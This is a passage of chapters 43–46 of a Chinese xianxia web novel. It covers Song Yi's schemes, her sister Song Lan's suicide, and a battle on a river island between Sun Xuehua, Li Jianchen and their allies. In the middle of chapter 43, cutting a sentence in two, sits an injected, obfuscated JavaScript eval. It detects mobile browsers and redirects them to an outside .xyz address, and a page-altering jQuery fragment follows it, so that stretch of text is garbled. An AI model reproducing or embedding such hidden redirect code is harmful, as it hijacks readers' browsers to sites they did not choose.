因为在这冗长的岁月中,她早已变得麻木不仁,铁石心肠,逐渐向她的父亲靠拢。 43. 第 43 章 宋忱多年来浸淫邪术,却始终一无所获,为此,他迁怒了不少人,其中,也不乏宋澜。这个天赋异禀的姑娘,总是无端被他责罚。为此,宋漪逐渐与父亲产生了嫌隙。 “爹爹,你答应过我,愿意任何事都顺着我的。” 在宋澜再次被找茬后,宋漪终于表达了她对宋忱的不满,可对方不以为意:“不就是个小奴吗?回头我再给你找几个听话的。” “我不要。” “混账!” 宋忱正因为炼丹之术迟迟没有进展而心烦意乱,此刻更是怒极,一把将手中的茶杯砸到了宋漪头上,那滚烫的茶水混着温热的鲜血淌下来时,宋漪的心冷了一大半。 宋忱见状,只是摆摆手:“去,找个大夫给你包扎下。” 宋漪已经不是那个容易糊弄的小孩子了,她有着自己完整的一套思维逻辑,她其实早就察觉出了宋忱的野心,也知道活人炼丹的危险性,更知道,其实这个人谁都不爱,他只爱自己。 “是。” 宋漪没有和他硬碰硬,扭头回去了。 等她回到住处,头上的鲜血早已干湖,碎渣、茶叶和她的头发凝固在一起,看上去格外狼狈。 “姐姐。”宋澜忙跑了过来,心疼坏了,眼泪直在眼眶里打转,可她忍着不哭,急急忙忙给宋漪简单清理了下,对方却笑着:“哭什么,我又没死。” “呸呸呸,别说这种不吉利的话。”宋澜抱住她,像从前千万次那样,依赖她,宋漪微微发愣,忽然对她说:“澜妹,如果有一天,我成为一家之主,我们就不用受这种气了。” “嗯。”宋澜没有理解这个“成为一家之主”的含义,此时的她,依然全心全意地信任着宋漪。 得到肯定回答的二小姐,最终踏上了一条不归路。 首先,她通过炼制丹药,博取了宋忱大部分的信任,并一点点架空了对方的权力,其中最令她得意的一件事,便是兵不血刃地除掉了她的亲哥哥,宋涟。 宋漪知道,其实宋忱本意是要让宋涟成为听海崖的主人,从而进一步加强对这个宗门的掌控,可惜宋涟不中用,竟然一病不起,宋漪便顺水推舟,最后推了宋涟一把,彻底铲除了这个阻碍,如此,宋忱再不能选择听海崖作为他的退路,只能倚仗自己这个唯一的女儿。 挂满白绫的灵堂上,宋漪朝着火盆里扔了一把纸钱,那一缕青烟直上,映出她楚楚可怜的脸庞。 “大哥,你安心去吧,黄泉路上,若是遇到李闻棋,还能一道投胎去。” 宋漪冷笑,可无人发现。 这件事本该石沉大海,再无人知晓,但偏又出了意外,被一个最不能知道的人知道了。 “姐姐,真的是这样吗?” 宋澜跪在她面前,眼泪汪汪的,宋漪没由来地烦闷:“在你眼里,我就是这种人?” “不是的,不是的。”宋澜连连摇头,对方质问她:“是谁在你面前搬弄是非?” 沉默不言。 宋漪更是恼怒:“我养你这么大,你就是这么对我的?狼心狗肺的东西!给我滚!” 宋澜哽咽着,手足无措地点了个头,就出了那屋子。 宋漪气她不识好歹,一连好几天没去找她,再得知她的消息时,宋澜就病了。 这场病来得太突然,宋漪始料未及,她给人送了药,却并未见好。一贯谨慎的宋漪派人去查,几近周折,才发现是有人将她给宋澜的药掉了包。宋漪大怒,派属下将那人捉了回来,可对方却在第一时间服毒自尽了。 “好一个狗腿子。”宋漪忽觉一阵眩晕,跌坐在椅子上。 她感觉此事不简单。 她去看望宋澜,对方却闭门不见。 宋漪命人砸开了房门,年幼的宋鸿受了惊吓,一把抱住了床榻上面色惨白的宋澜。 “滚开。”宋漪低喝,那几个人高马大的随从就将宋鸿踹倒在地,将宋澜从床上拖了下来,对方挣扎着,叫道:“放开我。” 可宋漪没有下达这样的指令,宋澜不知从哪儿来的力气,奋力推开那几个人,滚倒在地。 “你在做什么?”宋漪不知是急是气,忙将她抱了起来,可对方却狠狠给了她一巴掌:“别碰我。” 宋漪顿时怒了,掐住她的脖子,骂道:“没良心的东西,你怎么敢违逆我?” 宋澜双目通红,哑着嗓子说道:“没有良心的是你,你活人炼丹,你害死了哥哥和李师兄。” “啪!” 一声脆响,宋澜脸上就肿了一大块,宋漪也跟着落下泪来,她哽咽着攥紧指节:“要不是你!要不是因为你,我何至于此!” 宋澜定定地望着她,像是被抽去了魂魄那般,失了神:“我?为了我?” 宋漪扔下她,带着所有人拂袖而去。 宋澜趴在地上嚎啕大哭,哭得直呕出血来,那个被她藏在怀里的剑穗也掉在了地上,落得尽是灰尘。 她们之间的情谊,最终也走向了毁灭。 宋漪是直到宋澜去世,才知道,是宋忱调换了她给人的药,她的父亲在无形中向她示威,告诫她,谁才是这个江心洲真正的主人。可那时候的宋漪不知道,她更不知道,宋澜私底下将那碗药倒掉,渐渐好了起来,宋漪以为是自己新研制的丹药救了她,愈发趾高气昂起来。 “我对你好,你应该感恩才对。”宋漪不止一次地敲打宋澜,可对方视若罔闻。 矛盾的激化,在于那次,也是最后一次,宋鸿策划的逃离计划。 宋漪挡下了他们的去路,尚且年少的宋鸿坠入江中,很快就陷入了昏迷。而宋澜持剑,打伤了许多侍卫,可她毕竟已是强弩之末,最终仍是不敌,跪倒在地。 “你到底在做什么?就这么恨我吗?”宋漪很不能理解,她已经将最好的东西给了宋澜,只要对方再忍上些许时日,等她成为这个江心洲的主人,那宋澜便是要风得风,要雨得雨,何苦呢? “是谁在挑拨你?”宋漪蹲下身,给这个妹妹擦去嘴角血污,可对方却摇了摇头:“没人挑拨我,有些事,知道就是知道了。” “你恨我?” 宋漪想过,若是她恨,自己便有千万种理由来洗脱这种罪责,可事情总是不遂她意。 宋澜说:“我不恨你,姐姐,我不恨你。” “我爱你,所以才无法面对这个结局。” 宋澜簌簌流泪,轻轻低头,像小时候那样,靠在她怀里,宋漪一时愕然,不知该说什么好。半晌,她才喃喃着:“你何苦呢?是,那些事情都是我做的,可在你爱我之前,我就是这样一个人啊。” 她摸着宋澜的头发:“别生气了,回去吧,夜里多冷啊。” 宋漪想将人抱起来,这才发现,自己的衣裙早已被鲜血浸透。 宋澜自尽了,用那把她赠送的剑。 宋漪沉默良久,江水滔滔,暗夜无尽,她整个人像是掉入了无穷的深渊,再也不可窥见天光。 自那日后,宋漪像是变了,又像是没变。 她还是那个人人口中,端庄典雅的二小姐,温柔娴静,只是许多人都知道,她暗地里掌控了整个江心洲的生死存亡。只是那天起,宋漪的目标不再是长生不老,而是让宋澜起死回生。 她找来宁展阳,问他:“展阳,哥哥临走前,有没有向你透露什么?” 对方摇了摇头。 她不死心,变着花样地追问,可宁展阳咬死了他不知道,她哂笑:“你想不想让哥哥起死回生?只要你与我合作,我自有办法。” 可宁展阳仍是摇头。 结盟的计划落了空,宋漪便不再逼问,而是另寻他法。 将青铜鼎与缚灵阵结合,便是她提出来的,为此,她杀了更多的人,造下更多的业果。而她得知,是宋忱偷偷给宋澜下毒后,父亲的生死,便也被她记在了一本薄薄的账簿上。 对此,宋忱是有预感的。 父女之间的争斗暗潮汹涌,明眼人都看得出这其中的蹊跷,可无人敢言。 但凡宋漪有一星半点的修为,她的复仇大计早该实现了,可惜她只是一介凡人,要想让宋澜起死回生,谈何容易? 她最终,只是寻到了那点尘缘。 那萤火一般微弱的光芒,出现在她眼前时,宋漪甚至不敢碰,生怕碰一下,那东西就碎了,再也找不到。她取出那个陈旧的剑穗,那点尘缘便附着在其上,静静的,仿佛睡着了。 宋漪在那一刻,决定彻底扳倒宋忱,要他下地狱。 可是,宋忱虽是年迈,却没有昏聩到任人摆布的地步。他觉察到宋漪的计划,决定先下手为强,但对方早已不是个孱弱的孩子,而是这个江心洲实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762401|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在在的掌权者。 宋忱决定豁出去,赌一把,请来了李见尘。 当然,这并不完全是他的主意,宁展阳也在其中起到了推波助澜的作用。而他们最大的筹码,则是被封印在江底石柱中的李闻棋。 这根石柱,其实是宋忱下令浇筑的,只是由宋漪负责监工,他们本该同乘一条船,可有人偏要将这条船砸烂,让所有人不得好死,如此,就不能怪他鱼死网破。 宋漪见到李见尘的第一眼,就猜到了他的目的。 “要我收手,这是断不可能的。”她仍然端坐着,仿佛生死早已与她无关。 “唔,”李见尘没有立刻表态,他瞧见了对方手里的那个剑穗,还有剑穗里头附着的那点尘缘。 他问:“那就是宋澜吧?” “是。” “她早已投胎转世,你就算握着那点尘缘,也是无用的。” “不可能!”宋漪像是被踩中了痛脚,当即变了脸色,可李见尘仍是慢悠悠地说着:“宋澜的尘缘,已经可以化为人形了。这一切,都是因为你将自己院中的护卫投入鼎中,这才导致本该散漫的尘缘凝聚成形,宋漪,你知不知道你此番作为,根本就是逆天而行?” 那点尘缘,本如尘土般松散,可受了刺激,凝聚成形,谁都无法预料未来会发生什么。 李见尘本想规劝,可宋漪死死攥着那个剑穗,问他:“是宋忱,与你做了交易吧?他答应你一定会归还李闻棋的肉身,所以你才为他卖命。” “哈哈。”李见尘笑了,“说卖命,着实难听了。” “宋忱根本无法解开那个石柱上的封印,必须要毁掉这个江心洲,那根石柱才会倒塌,李闻棋才会出来。” 宋漪说着,默默起身,走到他面前,“我是这个江心洲真正的掌权者,只有我才能帮你。” “哦?你以什么助我?又用什么,来和我谈条件?” “以我对宋忱的了解,他请你来,必定是留了后手。” “你要他的精心布局告诉我,然后呢?” 李见尘笑着,忽然抬手,长啸的顶端便抵在了对方额间:“只要我轻轻一戳,你就会死,你明白吗?” “我明白,我也不怕你。”宋漪很是平静,“我知道你有这个能力,毁掉整个江心洲,但那石柱如果处理不好,可能会将李闻棋一同毁灭。” 她取下腰间的玉佩,交到了李见尘手上:“这个,是石柱封印的钥匙,我们家非是修道之家,自然也没有那么大的灵力维系如此庞大的法阵。那个石柱,是宋忱的一个朋友制作的,一个月后,他就会来参加宋忱的八十大寿,他耳朵上有一道疤,很醒目,你一眼就能从人群中找到他。” “这个钥匙,本来不该在我手上,只是宋忱老了,被我抓到了机会而已。” 宋漪深深叹了一口气,像是累极了,“石柱上的封印,没有钥匙,一般情况下不会被破坏。你带着这个,到时候就去找他吧。” 李见尘听懂了她的弦外之音:“你有什么事情,需要我帮忙的吗?” “如果可能的话,能不能也将我的骨灰撒入那江水之中?我妹妹就是那么走的,我也想这样。”宋漪苦笑一声,仿佛在自嘲,“实话说,我并不觉得我在认输,但是看到你,忽然就不想争了,争来争去,到头来也是一场空。” 李见尘没有挖苦她,反正她的生死,与自己无关,所以她的想法,更不重要。 宋漪在看到李见尘的那一刻,就什么都明白了。 这个江心洲,怀着复仇之恨的,绝不止她一个人。只是她终究是犯了错,害了无辜之人,才招致李见尘的索命。所以早晚都要赶赴黄泉,不如自己走得体面一些。 宋家不是修道之家,真要打起来,这个江心洲,谁会是李见尘的对手? 宋漪躺在床上,静静地闭上眼,她累了,她需要休息,这恩恩怨怨,是非因果,她已经不想看到了,她在走之前,还能看到宋澜的模样,已经心满意足了。 她忽然回忆起宋澜临终前对她说的那句话:“姐姐,我不恨你,我爱你,所以才无法接受这个结局。” 直到现在,她才终于深刻地体悟到了这句话的含义。 “我也爱你,所以我接受这个结局。” 一滴泪从宋漪的眼角滑落,带走了她最后一丝生气。 44. 第 44 章 狂风呼啸,天低云沉,整个江心洲仿佛变成了汪洋大海中的一叶扁舟,摇摇欲坠。 孙雪华敛眉:“宋漪走之后,你便接手了她的计划?” “对。” “那天夜里,宋澜突然袭击我们,也是你的手笔?” “这倒不是。”李见尘笑笑,“其实我也很疑惑,到底是谁把宋澜伪装成那样。” 他道:“其实我拿到那个剑穗之后,并未见过宋澜。宋漪虽说那点尘缘已经凝聚成形,可我从未见过。” 孙雪华神色一凛:“也就是说,在那天夜里之前,其实没有任何人见过宋澜。不,不对,宁展阳说过,宋忱见到过宋澜,他怀疑宋漪院内失踪的护卫,和宋澜有关。” 他顿感不妙:“宋忱,虽说多年来炼丹制药,可他毕竟出身蔚然派,自然是修行过的。” “不仅如此,宁展阳想在宋漪的院中击杀我们,想必事先请示过宋忱。”李见尘调笑着,“那天,指挥宋澜攻击我们的,恐怕就是宋忱本人。” “他可不是任人宰割的羔羊。” 李见尘话音刚落,就见天空中的雷云须臾间形成了一道巨大的漩涡,江心洲早早布下的法阵以肉眼可见的速度发动,一朵盛大的莲花绽开,从南到北,铺满了整个浩荡的江面。 “不过这些都无伤大雅,和我的目的并不冲突。”李见尘轻叹,“今日,吾,便送诸位一程,黄泉路上,自不会寂寞。” 一时间,雷火冲天,冷光纷飞。 早早上岛的宾客察觉到了危险的气息,纷纷要逃,可那码头早已无船可渡,有人试图御剑飞行,却被一道强悍的雷电打倒在地,半天爬不起来。 “怎么回事?不是来参加寿宴的吗?现在是怎么了?” “宋庄主怎么还不出来?这不应该给我们一个交代吗?” “是啊是啊,这又是打雷又是下雨的,好歹让我们进屋啊。” “你放什么狗屁!这摆明了是杀人的凶阵!你躲屋子里有什么用!” “……” 一时间人心惶惶,争执不断,有一部分人甚至要破开大门,去找宋忱问罪。 可在这一片混乱中,宋忱却意外出现在了寿宴中央,那个早早搭建好的高台上。 一个眼尖的人发现了他,高声问道:“宋庄主,你这是何意?” 宋忱不言,垂眸静坐,有几人见他迟迟未有动作,旋即冲上了高台,揪着他的衣襟质问道:“姓宋的,我等奉师命前来贺寿,你摆出这么个鱼死网破的架势,是几个意思?若是我们不能安全回去,他日我宗门必定踏平你这江心洲!” “诸位,稍安勿躁。”宋忱阖眼解释道,“天现异象,乃是因为听海崖从中作梗,但诸位不必惊慌,我已请一位得道高人相助,三炷香之后,必会给诸位一个满意的答复。” “听海崖?”一个略知皮毛的人有些困惑,“尊夫人不就是听海崖前任掌门吗?他们怎会与你决裂?” “亲兄弟尚且明算账,何况是一些无法无天的黄口小儿?”宋忱长叹,“实不相瞒,我夫人本有弟子数人,可惜他们狼子野心,为图掌门之位,不择手段,害死了我儿宋涟,我夫人也悲伤过度,不幸离世。他们非但不曾收手,还步步紧逼,布此凶阵,意图将我们一网打尽。” 众人闻言,皆是骇然。 宋忱又道:“诸位,今日之事,皆因我一人而起,宋某实在不愿连累大家。可这阵法凶恶,一时之间,仅凭我们并不能冲破此阵,不如随我一道回去,暂避一二。” “光躲有什么用!不如冲出去和他们拼了!”有几个年轻人十分不满,高声叫嚷着,“大丈夫在世,必不能做这缩头乌龟,叫人笑话!” 也有人提出了意义,认为此时还不到生死一线之机,没必要做这无意义的伤亡。 一时间,众人哗然,就在此时,一道雷火从天而降,引燃了整座高台,窜起了近两人高的熊熊大火。宋忱默然起身,像一尊即将燃烧殆尽的雕塑,他打开高台下的机关,做了个“请”的手势:“诸位,这台下有条暗道,可前往密室,暂得安全。” 起先,并没有人在动。 直到有个胆小的,不顾身边人阻拦,径直冲了进去。那雷火遍布,很快就将众人包围,有人试图灭火,却发觉这雷火实在太过异常,越烧越大,本来不信的人也动摇了,一个两个,三个四个,逐渐进入了那高台之下的暗道之中。 只有一人岿然不动。 他甚至坐在酒席上,独酌一杯热酒。 宋忱眯了眯眼,看向他,只见那人一身褐色衣裳,披了件打满补丁的披风,可右侧却是空荡荡的,像是少了点什么。 宋忱缓缓走下台,问他:“这位兄台,也一道下去吧。” “哈哈。”那人朗声大笑,“啪”的一声将手中酒杯扣在桌上,“我可从未听说过,有人过寿,会在高台上挖地道的,不知是宋庄主早有预感今天会出大事,还是想着请君入瓮,扳回一成。” “这位兄台,何出此言呢?” “我不与你争辩,今日,我是来取你性命的。” 话音未落,一道寒光闪过,宋忱只觉脖子上一热,猩红的血顿时喷了出来,溅落四周。他捂着伤口倒在地上,哆哆嗦嗦指着那人,一点声音都发不出,对方收刀入鞘,只眨眼的工夫,宋忱便一命呜呼。 “炼丹至今,一点长进都没有,就你这样的,还想着长生不老?” 他十分不屑,踢了一脚没了气息的宋忱,大步朝前,上了那座高台。 那条暗道的入口尚未封闭,低头看去,里面却深不见底,隐隐地,散发出一股腥臭腐朽的气息。 翻山越海里滚过几遭的男人瞬间意识到,这下面并不是什么暗室,而是某种机关或者术法,将所有人全部吞没了。联想到宋家的所作所为,他索性抽出自己的八棱锏,引雷而下,只听“轰隆”一声巨响,整个高台顷刻间四分五裂,地面皴裂,露出下方一口巨大无比的青铜鼎。刚刚进去的那些人横七竖八地躺着,每个人身上都泛着绿光,这是三魂七魄即将离体的征兆。 男人蹙眉,抬头看向头顶的那一大片漩涡 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“小夏?” 金伯涛眉头紧锁,难道是祖师爷失败了,没能赢下孙雪华? 小夏没有答话,尹晓棠一骨碌爬起来,拽住他:“小心,他交给我。” “你和他打了这么久,都没分出个胜负,我还能放心交给你?” 小夏说话淡淡的,和之前完全不一样,金伯涛一愣,眼神顿时就变了:“你不是小夏,你到底是谁?” “我是谁并不重要,重要的是,你今天若是不肯让,就得死在这儿。” “小夏”背过手去,一双眼睛似古井无波,十分镇定,“你偷盗五柳山庄战死同门的骨韘,就不怕他们死后不得安宁吗?如此苦心经营,只为了帮助李见尘摧毁这个江心洲,你们听海崖的作风,真是一脉相承的狠毒。” 尹晓棠听了这话,心头一震,猛地看向“小夏”,这说话口吻,怎么那么像—— “待我身死,自会去黄泉路上向他们赔罪!”金伯涛站起身,大喝一声,“而你,趁早滚开!” “砰——” “小夏”抬手,一道强劲的气流瞬间将金伯涛击飞,从这小丘之上滚了下去。 “涛哥!”尹晓棠来不及拉住他,一下扑倒在地,她向下看去,山丘侧面全是灌木,金伯涛的身躯硬生生滚出一道豁口,消失在了她的视野中。 “放心吧,这点高度,死不了人,顶多昏两个时辰。” “小夏”摆了摆手,尹晓棠鼻子一酸,委屈地叫着:“栾前辈,您怎么来了?” “怎么,你不希望我来?” “小夏”撤去一身的伪装,露出原本的样貌。 那是一个文质彬彬的青年,看上去挺有亲和力的,就是一张嘴,说话难听了些:“我要是不来,等你这脑瓜子开窍,我们五柳山庄就真的完了。” 来人正是尹晓棠口中的“栾前辈”,目前顶替五柳山庄的老师傅,负责教导她修行的栾易山。 45. 第 45 章 天边又一道大雷劈下,黑云压境,风摧树折,尹晓棠顿时紧了心:“我去看看孙前辈。” “慢着。”栾易山站在山丘之上,背手远眺,那不远处的漩涡正在不断扩大,整个江心洲都在震动,尤为惊心动魄。 他沉吟片刻:“看样子,李见尘是醉翁之意不在酒。” “什么意思?” “晓棠,你在此等候,若是见那漩涡中心出现一口兽纹青铜鼎,你须一箭将其射落,不得有误。” 尹晓棠一愣:“我吗?” “是,你。”栾易山强调,“若你不成功,孙掌门恐有性命之忧。” 尹晓棠神色一滞,郑重地点了点头:“是。” 栾易山跳下那山丘,如燕过林梢,飞快地向孙雪华所在地前进。对方正受李见尘掣肘,未能发挥全力。栾易山见其未负剑,仅用一根树枝抵挡,灵力交缠,虽是能保证这树枝不会轻易断裂,但无论如何都不可能比得过一把好剑。 “居然是这样。” 栾易山并未诧异,只是轻叹一声,再抬眸,那尊青铜兽纹鼎已然跃至中天,百兽齐出,直扑孙雪华而来。 千钧一发之际,栾易山断然出手,灵力破开李见尘的层层封锁,抓住孙雪华的胳膊,将人带出了漩涡中心。 “哦?你是?”李见尘眉头一挑,并未恼怒,只是饶有兴致地瞧着这个不速之客。 “五柳山庄,栾易山。” “栾易山?你这名字,我从未听过,你应该不是庄内弟子吧?” 李见尘嘴角仍是噙着一抹笑意,可眼神却是冷了许多,他能看出来,这次出现的男人,绝非尹晓棠那样初出茅庐的小孩子。 “确实不是。”栾易山扶着孙雪华,发觉对方内息紊乱,似是受了很重的内伤。 看来,这法阵远比他想象得凶险。 于是,他附耳说道:“孙掌门,暂且支撑片刻,我已请人前来支援,马上就到。” “多谢。” 孙雪华对栾易山的到来也很意外,可转念一想,如今五柳山庄式微,尹晓棠年少,独自出门在外,想来栾易山也是多有挂碍,只是性格原因,未曾明言,他便没有挑明。 李见尘见他们窃窃私语,心下不喜:“怎么,一个两个都不将我放在眼里?” “区区一个听海崖,有何畏惧?”栾易山笑了笑,只见百兽群起,向他们攻来,他本人不善武战,只好带着孙雪华暂且逃避。可李见尘似是早已预料,拔地而起的符文顿成牢笼,将他二人紧紧困锁其间。 “对不住。”孙雪华和栾易山背对背,略表歉意,对方却笑了笑:“这有什么?天大的事情又不是没经历过,死就死了,别被人刨坟鞭尸就成。” 他轻叹:“这法阵凶险,剑器恐多有折毁,算来,还是我该多谢孙掌门才是。” 孙雪华此番下山,只带了一把不曾署名的剑,那剑的铸造者,是名震北地的铸剑师,栾易舟所铸,她是栾易山的亲姐姐。而赠剑之人,是曾经的五柳山庄首徒,陈勉,她是栾家姐弟的知己好友。如今,栾易舟、陈勉皆已故去,而孙雪华不用此剑,怕是这遗物折毁,使他伤悲。 栾易山感念他此举,宽慰道:“但是孙掌门,眼下大敌当前,若是再不用剑,你我二人皆会命丧黄泉,到时候,姐姐和小勉当真会怪罪我们。” “嗯。”孙雪华抬眸,看向势在必得的李见尘,脸色一沉,“烦请栾兄助我。” “孙掌门客气了。” 栾易山话音刚落,就见那符文如金蛇狂舞,以迅雷不及掩耳之势直冲他们,栾易山施术为孙雪华劈开一道前路,对方持剑一跃而起,雪色剑光如北风过境,摧枯拉朽,席卷天地,冷冽非常,李见尘不由地后撤一步,那剑气横扫,斩断了他衣袖一角。 “好剑,好剑。”李见尘叹着,面露不虞,“此等好剑,小雪为何不早用?” “怕你有诈。” 李见尘神色一滞:“不是怕我有诈,是怕这剑有所闪失吧?” 他十分不高兴:“那个叫栾易山的一来,你就肯拔剑了,莫非他就是你口中那个心心念念的好友?” “我友并不在此。”孙雪华剑势凌厉,非常人所比,李见尘虽有法器傍身,但仍觉虎口发麻,略感不妙。 他不悦,故意出言刺激:“小雪身陷囹圄,而好友未至,算什么朋友呢?还不如我。” “刺啦——” 孙雪华一剑割破他的襟带,只要再进一寸,就会见血。 李见尘眼神一凛,颇有些恼怒,单手施术,就见那符文铺天盖地地冲着栾易山而去,对方的修为并不能阻挡这一击,危机时刻,孙雪华一剑劈开那些桎梏,那栾易山往阵外一推。 “此地不宜久留,你不善战,且先离开,与尹姑娘会合。” 孙雪华催促着,手起剑落,又劈碎一只猛扑过来的金虎。 栾易山站定,眉头一皱:“真不巧,我刚从我那个不争气的后生那里过来。” 他奇怪,他已与谢照卿约定好,待救下那些三教九流的宾客,便速速来此会合,怎么迟迟未到? 李见尘笑着:“这位栾兄弟,不会是等着一个手持八棱锏,能引雷之人前来吧?” “是又如何?你派人去阻截他了?” “没错。” “你这个狐狸精,倒也没那么蠢。”栾易山哂笑,却听孙雪华闷哼一声,捂住心口,吐出一口血来。栾易山一愣,忙要去扶他,不曾想,径直被李见尘的术法震开三尺远。 那人轻轻转着手中长箫,早已沉下脸来:“栾易山,我给你两条路,一条,去找那个小丫头,另一条,去找那个引雷之人,少在这里掺合我的大事。” “其一,晓棠虽年少,但性格坚韧不屈,金伯涛又非滥杀无辜之人,他们,我不担心;其二,谢照卿乃是当世高手,你手下所能驱使之人,不过两个孤魂野鬼,更不可能阻截他!” 栾易山掷地有声:“倒是你,行事毒辣,为达目的,不择手段!孙掌门何曾对不起你,你竟心狠至此,下毒害他!” 话音刚落,孙雪华便觉五脏六腑犹如刀割那般剧痛不已,身体里的力量被不断抽离,与他灵魂分裂,致使他握剑的手都在微微颤抖。他抬头看了眼李见尘,对方神色复杂,不知在想些什么,那股失望之意涌上心头,孙雪华低眉不语。 半晌,李见尘才缓缓开口:“我自知敌不过孙掌门,所以才 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话未说完,他右手边又冲出来两只猛虎,孙雪华持剑格挡,可身痛剧烈,出招略有迟缓。李见尘看不过,一道符文直接拆开了二人。栾易山连滚几圈,滚进了一堆瓦砾之中。 “孙掌门,再不束手就擒,我就杀了他。”李见尘手势已起,大有杀人夺命之威,孙雪华忍着痛,一言不发,只冷冷地注视着这个人。他损耗过大,又备受压制,左右受敌,李见尘又时时言语刺激他,着实不妙。 李见尘见他始终不发一言,似笑非笑:“孙掌门,这江心洲数十人的性命,皆在你点头之间。” 孙雪华怒而不言,持剑上前一步,李见尘手势微变,那灵锁捆着栾易山就冲了出来,孙雪华心神一震,不敢再向前。 李见尘缓缓走了过来,伸手摸了摸他那狼狈的、满是尘土的脸,将那汗湿的碎发撩到耳侧,轻声细语地哄着:“小雪若是早早臣服于我,又何必受此大难,惹得你我都不痛快。” 他说着,竟是捧着对方的脸,亲昵地亲了亲这人的眼睫。孙雪华一怔,一拳打在了他颌骨处,打得他头一偏,顿时肿了大半。孙雪华正欲出第二拳,就觉眼前一黑,五脏六腑如翻江倒海,剧痛无比,他当即吐出一大口黑血,摇摇晃晃,却撑着不肯倒下。 李见尘抱住他,双手环着他的腰,低声道:“小雪怎么还有力气打人啊?按理说,你现在早该倒下了。” “混账东西。”孙雪华气机逆乱,重重地咳嗽起来,李见尘抱着他,像之前那样让他靠在自己肩上,轻轻地拍着他的后背。孙雪华奋力一推,脚下法阵悍然发动,将他紧紧捆住,用力一拽,孙雪华“扑通”跪倒在地。 “我不喜欢你这样。”李见尘蹲下身,摸着他的脸,“再与我作对,我可要生气了。” 孙雪华瞪了他一眼,那原本波澜不惊的眼里,竟隐约有了些许血痕。 李见尘心头微颤,伸手捂住了他的眼睛,吻上那张冷漠的薄唇。孙雪华嘴一张,狠狠咬了他一口,一头撞了过去,李见尘顿时眼冒金星,跌坐在地。 “暗箭伤人,就凭你也敢对我发号施令?”孙雪华强行运转周身灵力,竟是破开了身上的束缚,长剑入手,他猛地刺了过去。 46. 第 46 章 血溅三尺。 孙雪华一愣,李见尘右手紧握着他的剑锋,鲜血淋漓,那猩红的血液顺着掌心倒流进袖中,染红了大半片衣袖。 只要再进一寸,这人必死无疑。 孙雪华明知这一点,却还是迟疑了,李见尘的血溅到了他的眼睫、鼻尖、嘴角、脖颈、前襟,那温热的气息里,好像还有这人身上惯有的花香。 “孙掌门果真舍不得我?” 李见尘轻笑,一脸镇定,孙雪华垂眸,剑锋向下,对方骨节发白,像是感觉不到痛那样,仍是笑盈盈的:“孙掌门,要不咱们来打个赌,是你的剑锋先要了我的命,还是我先废掉你那位远道而来的朋友?” 他手指一屈,正要将栾易山粉身碎骨,却见一人从尘嚣之中冲了出来,一剑砍断了那根灵锁。栾易山踉跄两步,站稳了脚跟。 “咦?宁展阳?”李见尘颇有些奇怪,“闻棋与阿音,追你追丢了?” 宁展阳手持长剑,眼神凶恶:“自然不是。” 他受李闻棋与阿音追击,但在半路上,被一披着破烂披风的散客所救。那人见了他,只催促着快些回去,莫要着了别人的道。 “敢问壮士尊姓大名,他日——” “少废话,正事要紧。” 那人驳回了宁展阳的客套话,宁展阳一愣,双手抱拳,向他行了个礼,就匆匆赶回支援。 那破烂披风,正是无渡峰,谢照卿。 他受栾易山所托,跟着这人一道来了这江心洲,本来是打算捞一把尹晓棠就走,结果还没瞧见人影,就先顺手宰了宋忱那个王八蛋,而后又救了几个鬼迷心窍的宾客,一来二去,就耽误了时辰。偏不巧,这会儿又撞到了被李闻棋一路追击于此的宁展阳。 谢照卿并不认得李闻棋,对方自然也认不得他。可高手过招,只在一瞬,是敌是友,剑锋自有感知。说时迟那时快,只听“当啷”一声响,谢照卿手持八棱锏,挡下来人剑锋,双方互不相让,大有同归于尽之势。 “来者何人?且报上名来!” 谢照卿大喝,一记扫堂腿,对方后撤几步,轻如飘絮,施施然落地。 谢照卿瞧着这个蒙眼的剑客,他看得出此人非比寻常,应是鬼魂之类,可纵是鬼魂,一言不发也实在令人费解。眼下,他本该赶去与尹晓棠会合,共破法阵阵眼,但如今受此掣肘,竟有些分身乏术。谢照卿抬头,那雷云之中,漩涡扩散,青铜鼎大有吞吐日月之势,他暗道不好,再纠缠下去,恐怕会前功尽弃,功亏一篑。 谢照卿眉头紧锁,望着对方口中金箔,便有了计较,那施术引雷,雷火滔天,正中那剑客脊骨。不曾想,对方毫发未损,剑势仍然十分凌厉,谢照卿且战且退,那打满补丁的披风紧紧裹在他空荡荡的右肩上,像是在保护他那断臂的伤口免遭磨难。 “若我右臂尚在,岂容你这般造次!” 谢照卿脱身不得,愈发恼怒,八棱锏裹挟着雷电之力,几乎要将那个蒙眼剑客打出好几个窟窿眼。可对方像是没有任何痛感,剑锋稳稳下劈,大有一夫当关,万夫莫开的气势。 谢照卿陷入苦斗。李闻棋剑锋一指,原本跟在他左右的阿音果断朝山顶上奔去。 尹晓棠万万没想到,在这千钧一发之际,竟是阿音前来阻止她,她更没有想到,阿音虽然看上去文弱,但极为难缠,她几次出招都被轻易化解,实在棘手。 “阿音姑娘,你为何——” 尹晓棠非是能言善辩之人,此刻心中焦急,更是一句话说不出,万般无奈之下,她只好将箭矢对准了阿音。 “得罪了。” 只听“嗖”的一声,那箭矢破风而来,阿音轻盈躲过,那飘带一转,卷住了尹晓棠准备开弓的右手,顺势一拉,似乎要夺过她手中骨韘。尹晓棠攥紧指节,用力一甩,竟是将阿音整个人摔倒在地。她趁机捆住对方的胳膊,不曾想,阿音迅速化作一股青烟,逃开了她的禁锢。尹晓棠见势不妙,又是张弓搭箭,三箭齐发,却扑了个空,再一回头,阿音正趴在她肩头,在她脸颊上写着字:“不要坏了主人的大事。” “你们!” 尹晓棠非常生气,用弓弦绞住了阿音的脖子,可对方又随风四散,根本抓不到。尹晓棠眼见着那青铜鼎已然升至中天,百兽群出,再不将其射落,恐怕众人危矣。 阿音又一次出现在她眼前,那蒙住她双眼的金色飘带近在咫尺。 “晓,棠。” 阿音的嗓子里发出意义不明的短促音节,听不清是什么,可尹晓棠却觉得她在叫自己,眉头紧锁:“你再拦着我,我就和你绝交。” “绝,交。” 